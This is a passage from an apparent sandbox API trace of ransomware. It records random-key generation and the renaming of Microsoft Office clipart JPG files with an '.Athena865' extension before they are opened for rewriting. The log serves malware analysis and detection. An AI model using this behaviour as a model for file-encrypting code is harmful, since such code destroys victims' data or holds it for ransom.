(hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.191] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.192] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.192] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.193] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0384900.JPG" | out: lpString1="J0384900.JPG") returned="J0384900.JPG" [0131.193] lstrlenW (lpString="J0384900.JPG") returned 12 [0131.193] lstrlenW (lpString="Athena865") returned 9 [0131.193] lstrcmpiW (lpString1="84900.JPG", lpString2="Athena865") returned -1 [0131.193] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.Athena865") returned 73 [0131.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.athena865"), dwFlags=0x1) returned 1 [0131.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.202] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71552) returned 1 [0131.202] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.204] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.204] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.225] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.226] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.226] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.230] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0386120.JPG" | out: lpString1="J0386120.JPG") returned="J0386120.JPG" [0131.230] lstrlenW (lpString="J0386120.JPG") returned 12 [0131.230] lstrlenW (lpString="Athena865") returned 9 [0131.230] lstrcmpiW (lpString1="86120.JPG", lpString2="Athena865") returned -1 [0131.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.Athena865") returned 73 [0131.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.athena865"), dwFlags=0x1) returned 1 [0131.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.232] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30842) returned 1 [0131.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.233] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.233] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.236] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.236] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.236] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0386267.JPG" | out: lpString1="J0386267.JPG") returned="J0386267.JPG" [0131.237] lstrlenW (lpString="J0386267.JPG") returned 12 [0131.237] lstrlenW (lpString="Athena865") returned 9 [0131.237] lstrcmpiW (lpString1="86267.JPG", lpString2="Athena865") returned -1 [0131.237] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.Athena865") returned 73 [0131.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.athena865"), dwFlags=0x1) returned 1 [0131.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.239] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43294) returned 1 [0131.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.240] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.240] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.249] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.251] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.251] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.252] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0386270.JPG" | out: lpString1="J0386270.JPG") returned="J0386270.JPG" [0131.252] lstrlenW (lpString="J0386270.JPG") returned 12 [0131.252] lstrlenW (lpString="Athena865") returned 9 [0131.252] lstrcmpiW (lpString1="86270.JPG", lpString2="Athena865") returned -1 [0131.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.Athena865") returned 73 [0131.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.athena865"), dwFlags=0x1) returned 1 [0131.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.255] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15171) returned 1 [0131.255] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.256] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.256] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.263] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.263] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.263] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.264] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0386485.JPG" | out: lpString1="J0386485.JPG") returned="J0386485.JPG" [0131.264] lstrlenW (lpString="J0386485.JPG") returned 12 [0131.264] lstrlenW (lpString="Athena865") returned 9 [0131.264] lstrcmpiW (lpString1="86485.JPG", lpString2="Athena865") returned -1 [0131.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.Athena865") returned 73 [0131.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.athena865"), dwFlags=0x1) returned 1 [0131.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.266] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14698) returned 1 [0131.266] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.266] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.266] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.269] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.269] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.269] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.270] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0386764.JPG" | out: lpString1="J0386764.JPG") returned="J0386764.JPG" [0131.270] lstrlenW (lpString="J0386764.JPG") returned 12 [0131.270] lstrlenW (lpString="Athena865") returned 9 [0131.270] lstrcmpiW (lpString1="86764.JPG", lpString2="Athena865") returned -1 [0131.270] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.Athena865") returned 73 [0131.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.athena865"), dwFlags=0x1) returned 1 [0131.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26942) returned 1 [0131.272] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.272] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.272] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.283] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.287] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.287] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.288] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387337.JPG" | out: lpString1="J0387337.JPG") returned="J0387337.JPG" [0131.288] lstrlenW (lpString="J0387337.JPG") returned 12 [0131.288] lstrlenW (lpString="Athena865") returned 9 [0131.288] lstrcmpiW (lpString1="87337.JPG", lpString2="Athena865") returned -1 [0131.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.Athena865") returned 73 [0131.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.athena865"), dwFlags=0x1) returned 1 [0131.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.290] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51978) returned 1 [0131.290] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.291] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.291] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.295] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.295] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.296] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387578.JPG" | out: lpString1="J0387578.JPG") returned="J0387578.JPG" [0131.297] lstrlenW (lpString="J0387578.JPG") returned 12 [0131.297] lstrlenW (lpString="Athena865") returned 9 [0131.297] lstrcmpiW (lpString1="87578.JPG", lpString2="Athena865") returned -1 [0131.297] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.Athena865") returned 73 [0131.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.athena865"), dwFlags=0x1) returned 1 [0131.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.298] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27884) returned 1 [0131.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.299] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.299] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.302] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.303] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.303] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.303] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387591.JPG" | out: lpString1="J0387591.JPG") returned="J0387591.JPG" [0131.304] lstrlenW (lpString="J0387591.JPG") returned 12 [0131.304] lstrlenW (lpString="Athena865") returned 9 [0131.304] lstrcmpiW (lpString1="87591.JPG", lpString2="Athena865") returned -1 [0131.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.Athena865") returned 73 [0131.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.athena865"), dwFlags=0x1) returned 1 [0131.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.306] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39111) returned 1 [0131.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.307] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.307] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.312] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.313] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.313] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.314] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387604.JPG" | out: lpString1="J0387604.JPG") returned="J0387604.JPG" [0131.314] lstrlenW (lpString="J0387604.JPG") returned 12 [0131.314] lstrlenW (lpString="Athena865") returned 9 [0131.314] lstrcmpiW (lpString1="87604.JPG", lpString2="Athena865") returned -1 [0131.314] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.Athena865") returned 73 [0131.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.athena865"), dwFlags=0x1) returned 1 [0131.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.316] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47551) returned 1 [0131.316] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.316] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.316] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.320] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.321] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.321] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.322] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387882.JPG" | out: lpString1="J0387882.JPG") returned="J0387882.JPG" [0131.322] lstrlenW (lpString="J0387882.JPG") returned 12 [0131.322] lstrlenW (lpString="Athena865") returned 9 [0131.322] lstrcmpiW (lpString1="87882.JPG", lpString2="Athena865") returned -1 [0131.322] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.Athena865") returned 73 [0131.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.athena865"), dwFlags=0x1) returned 1 [0131.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.324] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39148) returned 1 [0131.325] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.325] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.325] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.333] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.333] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.333] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.334] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0387895.JPG" | out: lpString1="J0387895.JPG") returned="J0387895.JPG" [0131.334] lstrlenW (lpString="J0387895.JPG") returned 12 [0131.334] lstrlenW (lpString="Athena865") returned 9 [0131.334] lstrcmpiW (lpString1="87895.JPG", lpString2="Athena865") returned -1 [0131.334] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.Athena865") returned 73 [0131.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.athena865"), dwFlags=0x1) returned 1 [0131.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.337] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32243) returned 1 [0131.337] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.337] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.337] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.341] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.341] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.341] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.342] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0390072.JPG" | out: lpString1="J0390072.JPG") returned="J0390072.JPG" [0131.342] lstrlenW (lpString="J0390072.JPG") returned 12 [0131.342] lstrlenW (lpString="Athena865") returned 9 [0131.342] lstrcmpiW (lpString1="90072.JPG", lpString2="Athena865") returned -1 [0131.342] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.Athena865") returned 73 [0131.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" 